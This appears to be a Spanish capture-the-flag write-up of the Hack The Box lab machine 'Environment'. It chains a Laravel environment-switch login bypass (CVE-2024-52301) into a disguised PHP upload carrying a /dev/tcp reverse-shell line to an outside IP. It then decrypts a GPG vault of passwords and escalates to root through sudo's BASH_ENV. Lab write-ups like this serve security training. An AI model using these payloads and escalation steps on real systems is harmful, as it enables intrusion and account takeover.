1. Escaneo de puertos tcp
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_ 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://environment.htb
8000/tcp open http-alt?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2. Enumeración
Una vez añadido el dominio environment.htb
al fichero /etc/hosts
, hacemos una enumeración de directorios.
# gobuster dir -u http://environment.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 --exclude-length 29
Encontrando lo siguiente:
/login (Status: 200) [Size: 2391]
/storage (Status: 301) [Size: 169] [--> http://environment.htb/storage/]
/upload (Status: 405) [Size: 244852]
/up (Status: 200) [Size: 2125]
/logout (Status: 302) [Size: 358] [--> http://environment.htb/login]
/vendor (Status: 301) [Size: 169] [--> http://environment.htb/vendor/]
/build (Status: 301) [Size: 169] [--> http://environment.htb/build/]
/mailing (Status: 405) [Size: 244854]
3. Explotación
Si tratamos de acceder a http://environment.htb/upload podemos ver un mensaje de error en el que, entre otras cosas, observamos lo siguiente:
PHP 8.2.28 — Laravel 11.30.0
Asociada a esta versión descubrimos el CVE-2024-52301 el cual nos permite cambiar de entorno, tal y como se muestra en este repo https://github.com/Nyamort/CVE-2024-52301. Si accedemos entonces a http://environment.htb/?--env=preprod podemos ver como al final de la página, en el footer, aparece el siguiente mensaje, haciendo ver que la vulnerabilidad podría existir:
environment.htb © 2025 | Preprod v1.1
Podemos tratar entonces de bypasear el logueo, utilizando este exploit. Para ello en la petición POST de inicio de sesión, añadimos dicha variable a en la URL, quedando de la petición de la siguiente forma:
POST /login?--env=preprod HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: http://environment.htb
Connection: keep-alive
Referer: http://environment.htb/login
Cookie: XSRF-TOKEN=eyJpdiI6IjFGZ241NXBnNGRXcTZsYmRBdG5BZlE9PSIsInZhbHVlIjoiaWV4dERPV0gwc2Ura0s0V2dDTlYrdnV1M2tHY2tKbXlkajFRNG9YK3hJT0Mwdlp2Vnh3K3M5UlhLSnlUYmM0c0FzSDBpSDZjdjEwSzFqK1AwajFiK21JYlFGaW5NdTFUeXVkWFlnUDFrbjZxTDI4dzdLWW
9ReE91ZWVQa3RuLzYiLCJtYWMiOiIzZmJmMjk4ZjA4YTFhMGY5NDQwNDY5MmY5NDk0MTE0ODM4YTgwMGNiYjE5ZDJiZWZkZTIwNDk4YmM0YTcxNDUzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkhhZUFpMWwrVHBoMEJTZTc1OFF1Unc9PSIsInZhbHVlIjoiS3c4TDNRSmJUeVJlb2wyWU9
JQW5FdFlHQWhUdG03QVJTYmFydFBZSk5nUFBDZmFSZnBzNFl3cUx2cnFMOWJYRDRWSFZIb1pvbEcwZ1pUVzV3a09IdzV3cHdrWlJpNGVyQ2NsKzIwNlgyWjFVdThQNDdEREpxTHlPc1czQ1dEOVEiLCJtYWMiOiI2MmIyMWMwY2RmZTM5MmU1MmQ4MjZiNDg4NWY3YzczYjc1MTE0ZmM1YzE1ODUxNjNhYzcy
YjM3MjA5MzE5ZDMxIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i
_token=rs86aG3gdfr3ZgktBx4dHgYVirDFiBrvz5GoGVVT&email=admin%40test.com&password=admin&remember=False
Consiguiendo así bypasear el inicio de sesión y llevándonos a la página http://environment.htb/management/dashboard autenticados como el usuario Hish.
Una vez accedemos al panel de administración podemos observar que en el endpoint /management/profile nos permite subir una foto para establecerla como nuestra foto de perfil. Probamos a subir directamente un archivo .php
pero no nos es posible. Tras varios intentos logramos subir un archivo .php realizando la siguiente petición:
POST /upload HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://environment.htb/management/profile
Content-Type: multipart/form-data; boundary=---------------------------255141735026611063372486289400
Content-Length: 450
Origin: http://environment.htb
Connection: keep-alive
Cookie: XSRF-TOKEN=eyJpdiI6IkkvT2FSQWRMcmJHejg3Nlh3M2k4c2c9PSIsInZhbHVlIjoiUTV3MjlnZXhuOWhLcHdlTEJaTnZjWElRbTltMzlFZnc1em1KOUIrUldBTVBvb2pPZnUwQVlYYmZkNmlZanp2WmFWcENFZ3lUWUF3OGg3UVI2aWtLTXZoQU0zRUFiWlI1b2tqSDdvdmhSQlJ4Z3N1N2NGTWZYZ0wzZ28wQ2ZCcE8i
LCJtYWMiOiJkMTI5NGY0NDM4ZmE4YmE0ODVhNzQyZDIzMDAzZDZmOGVkN2E0YjFkMTA4ZmZiMjEyNzcwZmIwZTZiOWFlYmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlZ5WHJidGZRL3RtaDFwZFF5NXl6Y1E9PSIsInZhbHVlIjoicWEyc1ZLVDAvOUdWK09GZGJCN0kxZUdQcFFYTmFxS1oyQkFkNHBuNUhVOWN
zZVBMMk1HbEpKWkNGVFRERllDdzJzQk9abUlCbmtiK05qdEJVRGR1Q0ZyS3g4d0tqYWpoVmwrWitLUEZLaXVQdXFMbW1pS3ZHOElCZkUrdndRT2UiLCJtYWMiOiJmNjQ1Y2M3NzNhNTliNDkyYjQ4YmQyYzhhNmQzOWI0NzFhZWI3MDY0NDNhODA2NTE2OWFlYmFhZWU0M2UzNjZjIiwidGFnIjoiIn0%3D
Priority: u=0
-----------------------------255141735026611063372486289400
Content-Disposition: form-data; name="_token"
qcMB5sN9dXv7rzPN16maHxxeZMfE6hMnf8y8yyKq
-----------------------------255141735026611063372486289400
Content-Disposition: form-data; name="upload"; filename="file1.php."
Content-Type: image/png
GIF87a
<?php
exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.77/1234 0>&1'");
-----------------------------255141735026611063372486289400--
Es decir, estableciendo como Content-Type: image/png
, los magic numbers de un archivo GIFT, y como nombre de archivo *.php.
. A dicha petición, observamos como nos responde el siguiente mensaje:
HTTP/1.1 200 OK
Server: nginx/1.22.1
Content-Type: application/json
Connection: keep-alive
Cache-Control: no-cache, private
Date: Fri, 23 May 2025 09:23:48 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6InlwcUFOMTNtN1ZHSDM0OThPRUxxSEE9PSIsInZhbHVlIjoiRU80S3hVSEhXbnhtL0FIaERkQXN6Snh5b0dJR2tucUh4TXd3anMzajdLNHBiTmtBNGU4ZzJmdzRLa2gxVG1mT2JjRmZaWnJKS0tCdHg0V01tTzE3THV6VEVXSDlVYzA3cE1DU3lTeFR4Zm94Z05Xa1prSVVEMndCQ3c1NkFNVmYiLCJtY
WMiOiJlYTIwZjViMjRkZDBkMTgzOGFkNjI3OTQwYjcyZGUxYzdlMjQwNGM0ZjFkNjNiN2FiNWE2NGE4NjBkMzBiMWE3IiwidGFnIjoiIn0%3D; expires=Fri, 23 May 2025 11:23:48 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6IlhxMmJxM1VFcEpaazRiVHlJLzRQMlE9PSIsInZhbHVlIjoiR0FyVkxSc1ZwQzI2NTg1bVlPOURiekpLNlRhNVF2NlBjZnhoUW84TVplcVRXVjliVjUxUDNuUCt2Zi9IT3RlQjJwNXlOMS83UW5kZHdBNXJQRXRQYnpCTjdSNTdkcDRUMXBxZ1EzL05XN2doaFJHOWVkallaYUdSdWFVR3hScDkiL
CJtYWMiOiJkMjg1N2U4MThkZWFhMGZiYjYxYmYzMGMyMWJkMGQxMjFjNzY3Nzg5ZDhlYjdlM2Q2NjA3OTVkOTM1ZjA4ZDUwIiwidGFnIjoiIn0%3D; expires=Fri, 23 May 2025 11:23:48 GMT; Max-Age=7200; path=/; httponly; samesite=lax
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Content-Length: 126
{
"url": "http:\/\/environment.htb\/storage\/files\/file1.php",
"uploaded": "http:\/\/environment.htb\/storage\/files\/file1.php"
}
Si ponemos netcat a la escucha en nuestra máquina, y nos dirigimos a la URL http://environment.htb//storage//files//file1.php, somos capaces de ejecutar el archivo .php, y establecer así una revershell con el usuario www-data.
4. Movimiento lateral
Directamente con el usuario www-data, somo capaces de acceder al directorio del usuario hish, y obtener así la flag de usuario. Si continuamos observando el directorio de Hish, podemos observar que existe una carpeta llamada Backup
, con un archivo .gpg.
www-data@environment:/home/hish/backup$ ls
keyvault.gpg
También vemos que la raíz del directorio home de hish, existe un archivo .gnupg, por lo que la clave puede ser la .gpg encontrada antes. Por lo que intentamos descifrarla utilizando dicha contraseña, realizando los siguientes pasos:
$ cp -r /home/hish/.gnupg /tmp/mygnupg
$ chmod -R 700 /tmp/mygnupg
$ gpg --homedir /tmp/mygnupg --list-secret-keys
$ gpg --homedir /tmp/mygnupg --output /tmp/message.txt --decrypt /home/hish/backup/keyvault.gpg
Se nos genera entonces un archivo message.txt, con el siguiente contenido:
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!
Por lo que probamos a conectarnos por SSH, utilizando las siguientes credenciales hish - marineSPm@ster!!
, y conseguimos acceso.
5. Escalado
Si listamos los comandos que puede ejecutar hish como usuario root, obtenemos lo siguiente:
Matching Defaults entries for hish on environment:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty
User hish may run the following commands on environment:
(ALL) /usr/bin/systeminfo
Como tiene habilitada la opción de env_keep, nos permite preservar variables de entorno, por lo que systeminfo al ejecutar comandos basado en estas variables. puede explotarlo. Para ello realizamos lo siguiente:
hish@environment:~$ echo '/bin/bash' > /tmp/malicious.sh
hish@environment:~$ export BASH_ENV=/tmp/malicious.sh
hish@environment:~$ sudo /usr/bin/systeminfo
root@environment:/home/hish#
Observamos entonces que somos capaces de obtener una shell como usuarios root, y obtener así la flag del usuario root.